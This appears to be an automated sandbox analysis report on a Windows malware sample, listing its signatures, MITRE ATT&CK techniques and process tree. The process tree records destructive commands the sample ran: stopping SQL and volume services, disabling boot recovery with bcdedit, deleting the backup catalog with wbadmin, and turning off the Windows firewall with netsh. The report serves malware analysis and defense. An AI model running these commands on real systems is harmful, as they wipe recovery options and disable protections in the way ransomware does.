Overview

overview

8

task1

 

8

Resubmissions

06-02-2020 11:15

200206-yr9smta93e 8

06-02-2020 11:02

200206-3dy8j7a4kj 10

Analysis

  • max time kernel
    95s
  • max time network
    149s
  • resource
    win7v191014
  • submitted
    06-02-2020 11:15

Sharing

Copy URL
Twitter E-mail

General

  • Target

    d5e37ee4ac4a5d9b798a2d1e80177e67dcf1ea31f21674ed8a1e20851d52f382

  • Sample

    200206-yr9smta93e

  • SHA256

    d5e37ee4ac4a5d9b798a2d1e80177e67dcf1ea31f21674ed8a1e20851d52f382

Score
8/10
persistencespreadingtrojanevasion

Malware Config

Signatures

  • Drops file in Drivers directory 9 IoCs
  • Runs net.exe
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Drops file in System32 directory 11233 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Drops file in Windows directory 54170 IoCs
  • Modifies service 2 TTPs 10 IoCs
    persistence
  • Drops file in Program Files directory 34897 IoCs
  • Drops startup file 1 IoCs
  • Drops autorun.inf file 1 TTPs 1 IoCs
    spreadingtrojan
  • Drops desktop.ini 261 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d5e37ee4ac4a5d9b798a2d1e80177e67dcf1ea31f21674ed8a1e20851d52f382.exe
    "C:\Users\Admin\AppData\Local\Temp\d5e37ee4ac4a5d9b798a2d1e80177e67dcf1ea31f21674ed8a1e20851d52f382.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in Windows directory
    • Drops file in Program Files directory
    • Drops startup file
    • Drops autorun.inf file
    • Drops desktop.ini
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net stop SQLWriter
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:836
      • C:\Windows\SysWOW64\net.exe
        net stop SQLWriter
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1100
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop SQLWriter
          4⤵
            PID:1096
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c net stop SQLBrowser
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1872
        • C:\Windows\SysWOW64\net.exe
          net stop SQLBrowser
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:364
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop SQLBrowser
            4⤵
              PID:2036
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2012
          • C:\Windows\SysWOW64\net.exe
            net stop MSSQLSERVER
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1936
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop MSSQLSERVER
              4⤵
                PID:2032
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c net stop MSSQL$CONTOSO1
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:784
            • C:\Windows\SysWOW64\net.exe
              net stop MSSQL$CONTOSO1
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:112
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop MSSQL$CONTOSO1
                4⤵
                  PID:288
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c net stop MSDTC
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:856
              • C:\Windows\SysWOW64\net.exe
                net stop MSDTC
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1120
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop MSDTC
                  4⤵
                    PID:1900
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                  PID:1932
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
                  2⤵
                    PID:848
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
                    2⤵
                      PID:1104
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1112
                      • C:\Windows\SysWOW64\net.exe
                        net stop SQLSERVERAGENT
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1916
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop SQLSERVERAGENT
                          4⤵
                            PID:1872
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1948
                        • C:\Windows\SysWOW64\net.exe
                          net stop MSSQLSERVER
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2016
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop MSSQLSERVER
                            4⤵
                              PID:1996
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c net stop vds
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2040
                          • C:\Windows\SysWOW64\net.exe
                            net stop vds
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:240
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop vds
                              4⤵
                                PID:1356
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:316
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh advfirewall set currentprofile state off
                              3⤵
                              • Modifies service
                              PID:852
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c netsh firewall set opmode mode=disable
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1908
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh firewall set opmode mode=disable
                              3⤵
                              • Modifies service
                              PID:1696

                        Network

                        MITRE ATT&CK Matrix ATT&CK v6

                        Initial Access

                        Replication Through Removable Media

                        1
                        T1091

                        Execution

                        Persistence

                        Modify Existing Service

                        2
                        T1031

                        Privilege Escalation

                        Defense Evasion

                        Modify Registry

                        1
                        T1112

                        Credential Access

                        Discovery

                        Lateral Movement

                        Replication Through Removable Media

                        1
                        T1091

                        Collection

                        Exfiltration

                        Command and Control

                        Impact

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • memory/1416-0-0x0000000001000000-0x0000000001011000-memory.dmp
                          Filesize

                          68KB

                          Download
                        • memory/1416-1-0x0000000001410000-0x0000000001421000-memory.dmp
                          Filesize

                          68KB

                          Download
                        • memory/1416-2-0x0000000001000000-0x0000000001011000-memory.dmp
                          Filesize

                          68KB

                          Download